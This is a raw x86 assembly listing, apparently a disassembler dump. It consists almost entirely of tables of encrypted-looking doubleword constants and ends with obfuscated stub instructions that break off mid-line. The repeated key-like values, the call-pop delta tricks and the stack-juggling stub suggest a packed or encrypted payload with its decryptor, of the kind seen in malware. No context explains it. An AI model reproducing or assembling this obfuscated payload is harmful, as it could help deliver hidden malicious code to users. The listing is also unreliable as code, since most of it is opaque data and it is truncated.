0DE882487h, 0A7B37347h dd 42530860h, 11321A8Fh, 0FAED6366h, 501A9E8Dh, 77A9B08Dh dd 0DABB792Ah, 0C4DB7493h, 0BDCDEABAh, 22239869h, 1DDB1566h dd 0D0321566h, 0A1572123h, 3B50229Bh, 0D60445ABh, 63CB35E3h dd 44321061h, 2234FC66h, 4DC1566h, 0BECD53DEh, 4436F9E7h dd 16BB1566h, 77524E42h, 0E9186ADEh, 4436AA31h, 0D9331566h dd 921629EDh, 85DB11A2h, 60321566h, 4A79C616h, 0CB995FA9h dd 88268A91h, 4432AC37h, 0D3331566h, 1132AF34h, 42331566h dd 1D680F65h, 0FD09406h, 40097E73h, 54FBAB00h, 0C1B9743Fh dd 25D6362Bh, 14BB1A06h, 31321566h, 4C6D2214h, 0A953CDECh dd 0F52770F3h, 90B91A61h, 24321566h, 2DDBFAD3h, 52321566h dd 0A9995214h, 1A958941h, 0C118265Dh, 4253158Ah, 0F153B3DDh dd 0AFF3561Fh, 0A3E9E263h, 2506E795h, 0D3EC3C9Ah, 4432068Fh dd 4722F666h, 0E426E7EFh, 0BB2CBAAh, 0DB93443Eh, 72379178h dd 31DFA8E5h, 87331282h, 4434D1E2h, 2239FC66h, 0DAAB1566h dd 6BBF98D9h, 226E245Fh, 2DEA2E41h, 11321FE4h, 5209E066h dd 45489369h, 0ABCA1566h, 0F51C14D3h, 81DBED61h, 30321566h dd 0F6532A4Bh, 38D56B01h, 711288EDh, 0C23D128Dh, 2232156Ch dd 1132108Fh, 0E7EDDC66h, 0FD631898h, 60F75F93h, 1165967h dd 0AC6E143Fh, 605E946Ah, 0E778E06Ah, 0AB547524h, 35470DDh dd 16DB74B5h, 2D321560h, 113207EEh, 883FFC66h, 5DD31566h dd 0B6563A4h, 0F5CB7731h, 87414D23h, 443209E2h, 34BD1A66h dd 0F8321566h, 88321577h, 0BFF1D752h, 0B6B1495Ah, 8C276030h dd 4B386AE7h, 600E9E25h, 0A3D49C30h, 113211A0h, 8CF49666h dd 181621E1h, 0A887306h, 11BA1A32h, 0E9321566h, 64DF90A1h dd 22331282h, 0A6521566h, 9AB6AFA5h, 0BD5359F6h, 741609EDh dd 0D7B3F3EFh, 88321562h, 0C336D3E5h, 426E3152h, 11319B69h dd 3541566h, 45B41AA4h, 0DE321566h, 3506EA07h, 8CF6963Fh dd 4434FC06h, 92581566h, 0B714766h, 88239D69h, 48DB1566h dd 75321566h, 0D6EDE4C6h, 0B5F8CEDAh, 2577506Dh, 751621EDh dd 0D6B3F2EFh, 88321562h, 0C336D2E5h, 2D6E315Ah, 113207E2h dd 883FFC66h, 0E6551566h, 9B2199F7h, 648B49D4h, 0DEABAD68h dd 0FE60F3EFh, 22321562h, 9268C367h, 0BCB511A0h, 4CDB4942h dd 0A321566h, 86DF571Ah, 8707A289h, 443219E5h, 24B61A66h dd 1E321566h, 883215E3h, 927DFC66h, 0A352EA99h, 18B95BA4h dd 0E9BFA167h, 5F77A8E5h, 2D331282h, 113709E2h, 1519E066h dd 43D6362Bh, 22339869h, 9AC71566h, 6C29FCEBh, 4438FC61h dd 16A1566h, 0BC381C69h, 18B58751h, 5415D4E7h, 0FB332361h dd 724CAD36h, 0BD7A13AFh, 28494B98h, 643A574Bh, 485C1047h dd 0BD7A2FE0h, 0F1C78BEFh, 426AD44Fh, 1132128Eh, 0C7657966h dd 0B38438D3h, 22321E8Fh, 0ADE1966h, 3744EF2Ah, 0E37D6C28h dd 9961743Eh, 4F243DCCh, 0A169CC4Fh, 0EEF3949Fh, 426C034Eh dd 91C09400h, 51851A3Ah, 2C674307h, 27B3094Dh, 0CBF7943Bh dd 1C86B85h, 0B51B4888h, 0A53D7538h, 11321566h, 0E9EC9E00h dd 1F854600h, 7954EDEEh, 9E36DD98h, 88279469h, 0C93D1566h dd 22321569h, 11321F8Fh, 0F763FB66h, 0A5C0713Ch, 88FCF885h dd 0CFB84206h, 82B1AC39h, 14534B32h, 2229700Eh, 353E9C66h dd 61CB4C3Eh, 44321568h, 912A6E5h, 5D9FC48Ch, 0A177C2C2h dd 0B199EB13h, 72D39C37h, 113211DEh, 0D0F31466h, 0C336D4E5h dd 0CB6E316Ah, 11321572h, 2610CE32h, 54BF7D4Fh, 0E3A78389h dd 0E484FE49h, 952B4720h, 1F162199h, 2236D1E7h, 0F8CE1566h dd 8832156Ch, 8F658D8Eh, 0B26C6FABh, 25CD28FFh, 4CB14C42h dd 70CDED62h, 0E6B14B42h, 1B91A62h, 87321566h, 44321FE6h dd 2237FC66h, 40FA1566h, 61A840D7h, 44321577h, 0E5F99417h dd 712F903Eh, 26B1BBFAh, 0FFE0873Eh, 7A664582h, 11321163h dd 8CF29666h, 181611E1h, 0FA17FC93h, 9D3DEA99h, 88321567h dd 64B7D29Ah, 2035FE9Fh dd 0F8321566h, 8832156Ah, 0DC6984CDh, 0D9C83E36h, 0D2B9C1F3h dd 1C59C31h, 600E9E9Dh, 0DB36D1E5h, 113DFD06h, 0FD8A1566h dd 0D3ACC7A1h, 87BFD2C0h, 0D6C4B1ABh, 8835FC3Bh, 5C3E1566h dd 885B9D5Fh, 0A63D4C66h, 3E3D74BFh, 0BDB2E968h, 6AB11AE6h dd 0F8321566h, 88321577h, 79943803h, 0FECEDCA9h, 4105BE6Bh dd 0E0A84636h, 7AF194A2h, 0A31F1807h, 6A68818Dh, 9F91430h dd 3F6881A5h, 1CD99430h, 0ED1F1807h, 77CDAF34h, 971BEA99h dd 9EDBE93Ch, 71321566h, 56D8AE00h, 0C553D4EDh, 2232118Ah dd 352E9C66h, 4FCC26D1h, 0A3B2C290h, 2ADD9574h, 913AFAA6h dd 711AEA91h, 45B81A3Dh, 0DE321566h, 113C9C69h, 81DB1566h dd 3B321566h, 0ACE95571h, 0E3DA5A12h, 8832150Eh, 603E3C66h dd 0A11619EDh, 923D11A2h, 8832157Fh, 44219669h, 2CDB1566h dd 0F321566h, 780C3B98h, 272F1379h, 0C451873Dh, 306E7D04h dd 0A4BB1566h, 428DA842h, 0E7B355E7h, 0AE4CEF26h, 876FFC47h dd 44320CEFh, 2226FC66h, 82721566h, 59640D45h, 9E9587h dd 83E8B0AEh, 3C0EEF34h, 36640B71h, 4C5B696Ah, 0B6CE667h dd 1DD994ADh, 873A7C1Ah, 443214E5h, 0A9CAE066h, 0F51158E3h dd 8837FC61h, 1D011566h, 0A983D053h, 0F52770F3h, 0F3D7561h dd 44321560h, 8319DBE7h, 953D1450h, 88321566h, 0BF37FC07h dd 0E5CBEA99h, 0FACB35E3h, 88321761h, 0CF547566h, 0AB6374A0h dd 3DB34497h, 0B9066342h, 87B34E46h, 2032110h, 1D88753Fh dd 867FF44h, 0AD536C83h, 22321576h, 20712A59h, 0AF511CC0h dd 6A998BD8h, 35319947h, 0E43CA369h, 87B2ECE6h, 443266E5h dd 0A9547566h, 0DE8B739Dh, 63B3744Ah, 26A96345h, 37FBFEE7h dd 0DA333EEDh, 9DFBD6E7h, 87B33EEDh, 40A96345h, 11321D8Fh dd 0E10A66h, 5F80AB15h, 238B44FCh, 10321566h, 43D4CADh dd 44321572h, 22321A8Fh, 415EF066h, 2682ADD9h, 0F4079729h dd 2FF7C03h, 11399A69h, 8EDB1566h, 5E321566h, 0B1489579h dd 119BFCFBh, 8DDB1566h, 41321566h, 26136372h, 39CDA334h dd 0AC269E97h, 4436D1E7h, 4ACB1566h, 11321566h, 0F81639E7h dd 6D405618h, 26B3316Ah, 524C6542h, 61524C14h, 44321572h dd 0CF567E35h, 5A2DDE5Fh, 4E2E2C22h, 371C78FCh, 986B1B62h dd 1132128Fh, 0C67F9B66h, 0EF539939h, 0DD894607h, 30321566h dd 0AC2E9EBFh, 4436D1E7h, 74521566h, 0F86A86D6h, 8832156Dh dd 0A5125C1Ch, 9AB42727h, 70E5D5C7h, 0BC21D6E7h, 0AFB36D2Ch dd 107D4287h, 0D2B3DE4Fh, 0BA7D4287h, 7021FEE7h, 44526D2Ch dd 683CEE7h, 87537506h, 443215EEh, 0A9537466h, 0F51158E3h dd 95BB1A61h, 4B321566h, 223202E1h, 1120FC66h, 86E31566h dd 0AD9FC9FAh, 314B2F71h, 0F97BA712h, 86E6971Ah, 515780EDh dd 2CDB1282h, 0A6321566h, 65FD1449h, 0A7F9D864h, 51BAC679h dd 548F96D8h, 8935F17Dh, 0B3089169h, 2CDBEA99h, 8C321566h dd 1CEA320Bh, 5D0EF373h, 947CC731h, 1EEA2EB4h, 88320AE4h dd 4423FC66h, 0CDFC1566h, 1D89DC2h, 0B5F292A4h, 0A982D89Fh dd 1B5EC9ABh, 0ADB41AB5h, 7DCDEA8Bh, 1BBBAD36h, 2F727380h dd 108A5A5Ch, 0C831F5A7h, 49303B63h, 7AF414A6h, 15DE969Ah dd 91621EFh, 1A9B314Ah, 0A36B4796h, 0E16CBCA7h, 80B81A34h dd 24321566h, 22329A69h, 90531566h, 9D7875A7h, 12CB3C42h dd 7E7397D8h, 0CFF49419h, 0A196AC6Eh, 0C23D4B97h, 22321567h dd 0AA61479Fh, 0A1B13E92h, 7FEFFEE7h, 0E1B34FFEh, 68197263h dd 4CD19425h, 0C535A301h, 27250595h, 0E0F1946Eh, 1C5F9C9h dd 951B4EBCh, 32DB753Ch, 7A321566h, 0D408353Ah, 3D1029C7h dd 4CA99D8Dh, 70EB878Fh, 0D9B5A037h, 0A1F2ECD3h, 20D7D56Eh dd 0D15CF0E6h, 65B21683h, 1DDA9DF8h, 0D76BFD66h, 9152E9CCh dd 373D82ABh, 15627497h, 63E9E3Eh, 1136D1E7h, 23CE1566h dd 97EBFC9Fh, 73C7EA99h, 113215DFh, 73DB9466h, 45078004h dd 0D9F39497h, 9B078004h, 93D4C67h, 44321576h, 22321E8Fh dd 27D43A66h, 0AB89FA8Dh, 0A6EC4BE6h, 0A63DFD5Ah, 1132155Dh dd 88321D8Fh, 2801B066h, 42D64BC0h, 0E48D42BBh, 7F57262Fh dd 95E5E2B1h, 0D8DD9489h, 46008CC2h, 61C74A3Eh, 4432140Ah dd 22321B8Fh, 20FBAF66h, 9D211D2Ah, 653FB7EDh, 4AD74157h dd 11323406h, 0E81609EFh, 22F89E00h, 3B15D3E7h, 98624707h dd 0D0F09C96h, 4B68C6EFh, 22321DE4h, 13B31A66h, 0E8321566h dd 458A4507h, 27321566h, 1E372E01h, 0EF1FE567h, 473D105Dh dd 25DB4D7Eh, 3E321566h, 47A6AF44h, 0C63D8EA0h, 22321567h dd 148C439Ah, 9321566h, 0CF434AA5h, 0A3C11470h, 9A434A8Dh dd 60524B70h, 44321560h, 26CCC1D4h, 0A63D59CDh, 8DDB4CBCh dd 1E321566h, 0BCD7B9A9h, 0A0637307h, 0EEFA9D54h, 0B2F2EB3Fh dd 0DA1721BEh, 1132128Fh, 887DE966h, 0F9F84E9Dh, 688A75CCh dd 912C6FAFh, 9536C92h, 0CC5E10A5h, 0C8D9942Eh, 3841773Ch dd 62F1949Dh, 0C541773Ch, 0AA5E108Dh, 7963EC2Eh, 88321562h dd 1DF93C3Fh, 223D9C69h, 1BDB1566h, 62321566h, 0A16C1CEDh dd 0C8B4D15Eh, 20EA2408h, 0E8EA24A5h, 85AAE7E7h, 89532DDFh dd 3506EA9Fh, 8CF6963Dh, 442A9269h, 44521566h, 0F8A922DDh dd 8832156Bh, 6397EA2Dh, 0EEFE7666h, 414CF301h, 326074F7h dd 44321563h, 36B9C367h, 15F69442h, 0E8321566h, 1B8DC1ECh dd 4375C7B5h, 1133AE35h, 1601566h, 1EE29CBCh, 37BC1A3Dh dd 0F8321566h, 88321576h, 2A036EFAh, 86E725C1h, 0F94C3B58h dd 13B3B43Dh, 4421FCA5h, 5E6D1566h, 0F53411CDh, 820BBFEEh dd 698BF11Bh, 0FA35BDD4h, 0F1BB4592h, 88321163h, 44363866h dd 26B51566h, 1DBB4942h, 8835FC42h, 0CDAD1566h, 0C3630DD2h dd 27CD7366h, 0AC369E00h, 0AD30D1E5h, 22321563h, 5E782E81h dd 87F12988h, 44331BE2h, 0E90EE066h, 10379169h, 0B4CE1566h dd 2B61AA4h, 42321567h, 0EFB97334h, 0E9EC9F39h, 0C03DDF5Ah dd 22321453h, 1132188Fh, 0C45DC866h, 9160DF88h, 53F8A228h dd 2C5476F1h, 0C3D3099h, 4432140Fh, 22339069h, 77CE1566h dd 87CD3B5Bh, 443295E3h, 3BB71A66h, 0F8321566h, 88321572h dd 0F38C8B3Dh, 0F5870C5Ch, 0AC96974Ah, 4AA0261h, 212488AEh dd 2236F9E7h, 0DBB1566h, 8830AE42h, 0B7331566h, 2D6916ECh dd 113211EFh, 7AB97566h, 0C2844707h, 0DC31FBA6h, 8F495A8h dd 44864500h, 1C54F356h, 0A207E3E6h, 0E1123490h, 348D753Ch dd 24375458h, 436C459Ah, 1E922907h, 883322E2h, 443DFC66h dd 7B531566h, 0BDF3D53Dh, 49BD21F1h, 2345307h, 606EACBh dd 15F6943Fh, 7D321566h, 350BA833h, 0D7B300F3h, 7F0626E5h dd 496FFDEFh, 1307168Eh, 2D3D614Eh, 113214E2h, 7BDBE966h dd 0B8321567h, 2237FD06h, 69161566h, 0E8A50122h, 75534B07h dd 28DB75AFh, 36321566h, 0C0AC88A6h, 28885FDAh, 0E8B973D9h dd 728F4007h, 7F0AC336h, 27C794B3h, 0B0AC336h, 1E52488Fh dd 883217EBh, 4BFBA366h, 0CB53EAD1h, 11321580h, 88339C69h dd 24CA1566h, 0FE4201D9h, 0E9B97358h, 7F8D4207h, 0C56D2A4Ah dd 5E7D7091h, 0D2D59446h, 0D83C1E43h, 734433DEh, 1EB1835h dd 0B81717D6h, 0AD05C26Bh, 7CF03E1Bh, 0EE1FC591h, 10E8CEF8h dd 47B34DA1h, 55574154h, 0F789FAE7h, 0E8BB2683h, 8837FC39h dd 4FD51566h, 0CB0426E1h dd 113215E0h, 0E062429Ah, 3B4D26EEh, 27D2D43Eh, 1FB12026h dd 4F0747B1h, 0CDC2E075h, 0CDF34DA1h, 77DD946Eh, 13258A2h dd 4CDB4A9Fh, 67321566h, 0BED3934Bh, 61A1BC1Eh, 44321528h dd 223F9069h, 0AE521566h, 92AEA17Eh, 44329469h, 0D7531566h dd 1575AB30h, 6EF316A5h, 3DC946Eh, 6C61160Dh, 30D7F3E7h dd 7EB33883h, 643214C1h, 16B9E4EFh, 15F69642h, 8832048Fh dd 0D699D766h, 8D9260F5h, 9C8994A7h, 798DBB7h, 0E0C1F581h dd 2232188Fh, 0BAB72366h, 9B7AEE89h, 5F472133h, 0AFB95971h dd 16D60003h, 883E9969h, 0C33D1566h, 22321560h, 11329669h dd 8EDB1566h, 0D4321566h, 2A2012A4h, 1EFB908Fh, 88320AE3h dd 4421FC66h, 19441566h, 0C34A278Dh, 24F55AFFh, 52C47FBh dd 1093AFB7h, 74879C40h, 7D35F173h, 171619EDh, 0E1B3F6EFh dd 11321562h, 0F36D6E5h, 4B6E317Ah, 223202ECh, 1120FC66h dd 0FCD1566h, 0B7E6C8D1h, 0E0ED537Eh, 0FDF85D6Ah, 0B61A70DFh dd 0FF614393h, 22321567h, 9869CBEFh, 87524B96h, 443217E4h dd 0CA39A366h, 11321574h, 0D951E6EBh, 0BDB17A7Ch, 0E931353Dh dd 9DAE8B6Fh, 0C3D744Ah, 44321566h, 0DBF1743Dh, 9836F9E5h dd 8889317Ah, 45321566h, 21B97395h, 9054753Dh, 0D8222A81h dd 256A7406h, 0A63DD65Ah, 113214BAh, 8832078Fh, 4E3AF866h dd 0DA3CA000h, 5C0B5216h, 18525459h, 2482E48Dh, 22349E69h dd 973D1566h, 88321566h, 15537506h, 70537439h, 9963D7EEh dd 0D1F99DB7h, 443DFC3Ch, 14E61566h, 71B0459Fh, 0CA7861ADh dd 8AC861DDh, 8582459Bh, 5816EA62h, 0D106BC62h, 246AD646h dd 22319269h, 9A541566h, 0E9C2A0A8h, 4B42EEE6h, 223637E2h dd 0A9547566h, 73D1A18h, 4432156Bh, 22321D8Fh, 0AF710366h dd 601CD564h, 0AD0E748Dh, 237C9169h, 2DCE1566h, 0CDB61A8Dh dd 0BD321567h, 0D9B97306h, 0D30E7493h, 89049169h, 0C93D1566h dd 22321577h, 1132198Fh, 0E3DCBA66h, 1C8D2597h, 0ABDA6Bh dd 1EF92992h, 883302E2h, 48BE1A66h, 2D321566h, 113213EEh dd 88BC1A66h, 22321566h, 2D17EA5Bh, 1132EEE2h, 3F3D7566h dd 225274A8h, 1D39F7E7h, 0DAF79537h, 420E7439h, 44D09169h dd 1ECA1566h, 9DB61A85h, 61321565h, 44321560h, 188FEE5h dd 1FDB62D7h, 5E321566h, 0FBAB77D1h, 7EC7312Dh, 8A75376Ch dd 0A60F7369h, 18B71A99h, 42321566h, 0F6B3739Ah, 0D9535748h dd 4432170Eh, 0D3334C66h, 716B14ECh, 492661D9h, 1753E91Eh dd 0A22EA334h, 0E7B2B390h, 0D2C59D59h, 6459D2E6h, 44524E9Eh dd 29A3DEE7h, 8832048Eh, 8A018A66h, 436AE6F2h, 9B0AEE99h dd 4C417B23h, 0B7B34AB5h, 0F85076Ah, 0B10E7438h, 88649169h dd 2CCA1566h, 22326C26h, 0AE1629EFh, 0F0232061h, 337F2A7h dd 82D3FAE7h, 0E9BB1740h, 82DA7539h, 99321566h, 31BFA89Ch dd 0DAE3756Eh, 46D09591h, 443AFC3Dh, 0AE961566h, 0BF25A8D2h dd 61534E62h, 4432151Eh, 22321A8Fh, 0B15E0066h, 0A599A65Ah dd 1214173Ah, 6E21A481h, 457A0EFh, 84DB1282h, 0C3321566h dd 0A4E188B9h, 17714BD9h, 7DF2C21Fh, 8D0A88EBh, 0DDC7128Ch dd 1ADA75B5h, 85321566h, 0E47AA76Bh, 40C2BEDEh, 4B60AFEAh dd 3664743Eh, 4B323DACh, 0ECB5CB91h, 0DFB5C491h, 0EB2FF3E7h dd 0C57C4105h, 22121288h, 4FC29C62h, 88321E8Fh, 0C64A1766h dd 0D2B3619Eh, 554C679Eh, 73DE0A5h, 44321572h, 22BF1A06h dd 0F8321566h, 88321561h, 6BD1CEA5h, 4342B6FBh, 1160480Eh dd 0AC369C66h, 52B51A9Ah, 2D321566h, 113205ECh, 8839FC66h dd 973B1566h, 0BBECA214h, 0AB298765h, 8CDE9615h, 0FD1619EFh dd 22321576h, 10B9E467h, 33D753Fh, 44321560h, 22329B69h dd 0E3B31566h, 0C4804456h, 0B9B79C07h, 4235F14Fh, 90B0AB00h dd 88329369h, 0BB531566h, 0A16A3152h, 2DB11A2h, 15321566h dd 0B11820FAh, 0FEFE46E4h, 5C79831Bh, 0A6ED97AFh, 0FB65FB2Bh dd 2232157Ah, 2DB9EB67h, 8CF69442h, 24321566h, 22309869h dd 0CEB91566h, 0CCF9AB00h, 5CB81A07h, 0CB321566h, 11321575h dd 0A5D9E938h, 3314B0FAh, 0A6BD24ACh, 0B8C08942h, 5D15A93h dd 0A02AC0DBh, 2220FC61h, 0F2D81566h, 83DA5B4Ah, 0EF678D20h dd 0B1A2ADF9h, 73704E15h, 3163EDCBh, 2C574B1Ch, 216BDD4Fh dd 14163122h, 0E0574B1Ch, 4432018Fh, 420DB366h, 0AC748388h dd 25627F07h, 5D5073h, 81C43D0Bh, 1E52BE25h, 883217E7h dd 0C4F9A566h, 0AF53A08Bh, 0F5271CDBh, 83B41A61h, 24321566h dd 2DC29E00h, 113215E6h, 0E89F7466h, 43DBCCEDh, 0FD321566h dd 72E55768h, 0DE5379F3h, 723ADD8h, 20D4D435h, 9030FBA7h dd 2A08DB80h, 0D6DC9453h, 0BDFD98Ch, 55314B96h, 7E373142h dd 24112043h, 42F09400h, 80897368h, 1677449h, 40F79483h dd 0A1321566h, 3DB5118Bh, 8CBB4942h, 96817542h, 8953B3D3h dd 1132068Fh, 78A0A366h, 418CE905h, 6C9E1754h, 84432D0Eh dd 98C15924h, 6257A8EBh, 0A83D1282h, 11321563h, 71537506h dd 41DBB807h, 0A4321566h, 0AAA076F8h, 8832188Fh, 0D6D18566h dd 96FB625Dh, 566C8EBEh, 3765B321h, 462242D2h, 216DED67h dd 3C1A3122h, 8A2242D2h, 44379569h, 75521566h, 0BA53E038h dd 8AE19406h, 4B0D4026h, 0A953DFD1h, 98643152h, 8CF49480h dd 0C7321566h, 16B511A0h, 963D4942h, 88321546h, 4420FD06h dd 9C9B1566h, 7271C44Eh, 460ABA47h, 354184F5h, 0EB9386B8h dd 11B01A3Fh, 0E9321566h, 0F33D75A5h, 0F9B37396h, 9053D668h dd 8832118Ah, 60069C66h, 0FD851A06h, 11319A69h, 373D1566h dd 0D9BF74A6h, 25D8DD3Dh, 11321A8Fh, 0BB6B9C66h, 0D883CA6h dd 98951D06h, 6CE47A41h, 8FDBC699h, 7F321566h, 220BF551h dd 0A5DBB923h, 87CDEA9Ah, 3214ECh, 0CEDFF500h, 0A86CD24Eh dd 458AFD4Ah, 0D5F251A2h, 0AE2475C0h, 0A8ED96A5h, 458A152Ah dd 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah, 162C5E89h dd 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah dd 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah, 54A851D6h dd 0BA8660D5h, 0CE2559D7h, 4261BCBFh, 3832DCF1h, 0BA8DFE80h dd 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h, 0BF01F438h dd 0DF07462Dh, 5343FBCEh, 3C6D5h, 5492B85Eh, 3075152Ah dd 5CDDAEAEh, 0EC3B8FA7h, 0D9FB5649h, 0AE2079B0h, 0DD7BAEA5h dd 5863E96Fh, 0ABA851A2h, 3075195Fh, 0E932DCAAh, 168DFE83h dd 0FEC4CB2Fh, 967512C1h, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h dd 4582D7E3h, 3044BAh, 499D8D00h, 0B807E40Fh, 2490h, 0F58589h dd 0E807E4h, 58000000h, 0D05h, 0E9038900h, 2490h, 49h dup(0) dd 83000000h, 0A4F305E9h, 5203CB8Bh, 6612E208h, 0FD952F82h dd 5310FB75h, 0B959473Ah, 3256D5BAh, 3256EC58h, 0CD96CCB1h dd 3DD2BF71h, 32564B38h, 22D0A1B1h, 0DB5657B1h, 3256ABBAh dd 0E9839ADBh, 0B0A4F305h, 0F29D11F1h, 2375FD7Ah, 0DE2A17FBh dd 0D525FA91h, 0ADFDF53Fh, 909E9C30h, 0CFB73422h, 0B723AC7Ah dd 1A20AD29h, 7975FD7Ah, 3C987C27h, 0A0721618h, 83152CFFh dd 0A4F305E9h, 0BD8DDB8Bh, 7EBF924h, 81078D8Dh, 44B807ECh dd 2B321566h, 2E9C1CFh, 0C8D00731h, 4904C783h, 0CE9F675h dd 0AE000000h, 0FFD2EE24h, 780BAA22h, 0E9BF6215h, 10h dd 0FF62D5DEh, 0F2722432h, 0BAC803AFh, 64E10DE2h, 9E9h dd 0FB0B4B00h, 46F8D4A4h, 0DF68C03Fh, 89000013h, 0E9582404h dd 0Eh, 30AD4D67h, 5155DEDBh, 0B52220B4h, 0BD83F822h, 7E413F1h dd 83097500h, 0E40935BDh, 19740007h, 0C08B5350h, 411B8h dd 0ED858900h, 8D07E40Eh, 0E6EA579Dh, 5BD3FF07h, 35BD8358h dd 7E409h, 53501774h, 411B8h, 0ED858900h, 8D07E40Eh, 0E6E6F89Dh dd 5BD3FF07h, 0B960F858h, 41252E77h, 48B5061h, 4C48324h dd 6E9h, 1B141800h, 0F82DE1D4h, 5E8h, 0EA781A00h, 0D580E360h dd 8F0F5827h, 9, 3830Fh, 0CD800000h, 14C081BDh, 6800005Dh dd 0 dd 48E18166h, 0EB8A5B9Ch, 520334FFh, 5F5E96B6h, 14E9h dd 0F3F39D00h, 0EE8C7609h, 0AC2F6C0Ah, 1E21D045h, 0BE86A016h dd 0F6F781EFh, 665CCF7Ch, 81E1F6B9h, 94772CC7h, 0DF8B6038h dd 61F5F180h, 0AE93EF81h, 0B70F75C1h, 0C68157CAh, 217B4FE1h dd 6618048Fh, 834664BAh, 0D98102EBh, 42AA65A2h, 8D0F4B4Bh dd 2, 0FB81CB8Bh, 0FFFFA3A4h, 12850Fh, 0AB90000h, 0E92C1707h dd 19h, 0CC3B114Dh, 77146424h, 79E984B2h, 66FFFFFFh, 37C6439Eh dd 0BBA26105h, 0AE994h, 910D0000h, 5489h, 0 dd 4ECE9h, 86466800h, 0A4E907ECh, 68FFF7F8h, 7EC86C5h dd 0F7F89AE9h, 886468FFh, 90E907ECh, 0C2FFF7F8h, 1E34C8EAh dd 7B912545h, 0DBF1859Fh, 3E54E8FCh, 0DAB34763h, 44603B14h dd 0A2C09AB0h, 41AF80Eh, 657D5A70h, 0F16E1ED1h, 13AE250Ah dd 56F483C8h, 710F5F7Bh, 0A66C7E92h, 4FE3FBD8h, 8F390375h dd 0DEA46E38h, 95E6A9CCh, 0CF6AA2B6h, 917D027Fh, 70D91442h dd 0F365C717h, 5EF86E19h, 25DA571Ch, 0B114428Ah, 8763EF48h dd 64625B6Dh, 3213A6A1h, 49A2B896h, 0F69B6411h, 1F3013A6h dd 0BBC83767h, 0FD0DD877h, 36000002h, 0E81C745h, 70DE50A0h dd 90162549h, 0F3704E60h, 13A61C25h, 76818AF3h, 0EEC37AFCh dd 4D9D117Eh, 0EC82B2D0h, 9FD74016h, 97E7C7C8h, 88BFBD1Ah dd 1060C91Eh, 0E97D9572h, 0CEABF6D3h, 57E37EB6h, 8E29617Bh dd 6995E135h, 90D05CF0h, 3380Ah, 0A2C49C00h, 0FF1FF80Eh dd 5F79556Bh, 0C2D6B5CBh, 213D182Eh, 154EB48Dh, 748A1E3Ah dd 0D2E87C9Ah, 344ADEF4h, 0F8AB3F57h, 2634CB48h, 5DA213AEh dd 6C424DCEh, 259F9F1Ch, 19B513AEh, 0FA10EE3Fh, 96CE27C2h dd 7A926FFBh, 0FE4EA742h, 6EE95D8Ch, 2B3DB361h, 0B8D4AF4Dh dd 0CDAC4A24h, 0B28DA7B9h, 31B15E96h, 84EC5151h, 0AEDEA522h dd 137C13AEh, 0F20AE701h, 16BBE29Eh, 0D157976Ah, 2B9h dd 8D21431Bh, 0EA7E9E77h, 4ADEF8D4h, 0AD415534h, 0CA0BC97h dd 0B994CD33h, 19F3099Dh, 735167FBh, 0D6B3C95Dh, 0C7772ABEh dd 0AE26B54Ah, 4DDC2113h, 1162092h, 0DB1DE25Fh, 50B91442h dd 0AF34CFF0h, 99157A9Dh, 956AE749h, 41144205h, 6BE8C6D8h dd 13AE80D3h, 2AC81881h, 64FF374Bh, 1CDF8C52h, 0AB13AF8Ah dd 11AFEA9Ah, 48E31B35h, 0F3A45B36h, 0B531D86Eh, 5A000001h dd 415A7956h, 7317EECEh, 56027EECh, 5E3D72F6h, 22FFCD05h dd 0DB58BA0Ah, 14420B24h, 153749B2h, 0C51599F6h, 0FF840163h dd 5B14420Bh, 0BF087F2h, 0FE5E1442h, 420BFA81h, 96EF5814h dd 0D244A684h, 631F8782h, 968FA15Ah, 13A63414h, 0C8E0BD5Bh dd 5C3BD7B6h, 0E9751048h, 22BDF50Bh, 9DFF91C9h, 0A63B5B20h dd 3E8EF713h, 0A63B3AC1h, 1D2F9813h, 0A63B5B24h, 94DFBC13h dd 0E469FB7h, 0F476740h, 0B7FBAB2Eh, 66164E5Fh, 0D8778299h dd 3B3Eh, 424D6700h, 0E99F1C6Ch, 0A813A6A9h, 637CFE36h dd 1692B1D3h, 9FDA3AA7h, 624153C1h, 43CFEBC6h, 0BBF34C68h dd 98AC8B29h, 2BF28D86h, 485913A6h, 869F601Ch, 0AA38D877h dd 61000000h, 29617956h, 56D33597h, 1442A0A1h, 0A259C42Dh dd 301442A0h, 0C09BB5C7h, 0C19E6CA4h, 0DFBB59A9h, 0E0F28DC5h dd 576F4C1Ah, 0A4F3CEC3h, 67441442h, 0F39CBB4Fh, 3B94AA88h dd 43D06EEBh, 359E13A4h, 7E583E5h, 0C1EB9F1h, 67FB17F2h dd 65A7651h, 6A1BDE84h, 1A43C909h, 0BA000001h, 162CC0E2h dd 73891D3Dh, 0D3E97D97h, 364CE0F4h, 0D2AB3F5Bh, 3C58332Ch dd 9AB892A8h, 0FC12F006h, 5D755268h, 0E96616C9h, 13AE2812h dd 92EC7BC0h, 0EAFC1AF4h, 89D9F5D0h, 0AB368417h, 5FDF9C90h dd 64BD1DF7h, 0AACCDE94h, 0B9FB794h, 16F4923Ah, 0A12DC800h dd 819BADC3h, 86548CA4h, 0DEFD91A9h, 4BADFDB1h, 0A6B8D0ADh dd 0A6EF35ADh, 0AEFE6713h, 85193510h, 0A6F0EF90h, 4B2813h dd 37D20A24h, 59344ADEh, 8E7F053Dh, 0E000000h, 1C6C424Dh dd 0AE25E39Fh, 2940B213h, 2E41A2FAh, 0C3B83585h, 8F13AE0Bh dd 0C5351426h, 5CA59222h, 154DA632h, 0BE526A47h, 7BB3CBA8h dd 0CBCD43CEh, 0DFF7D440h, 0E1FFD9A7h, 255D7B55h, 0A3EF976Eh dd 0DD400481h, 3E54E800h, 7F114961h, 0D7B508E1h, 95EE89C1h dd 96B0C25Dh, 0E153A3B7h, 7F42EA87h, 2BF10331h, 3068805Dh dd 336B8762h, 5E1252CFh, 0EB5212E9h, 8862F60Eh, 0E0F210EAh dd 99D1E9C6h, 813h, 358DA200h, 8EA0BC97h, 5C7E56B9h, 61795624h dd 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h, 768A6937h dd 7A94703Eh, 7B9B7442h, 0EC81EE43h, 4, 50241C89h, 405E089h dd 83000000h, 48704E8h, 0C895C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax mov ecx, 5C1214F3h neg ecx shr 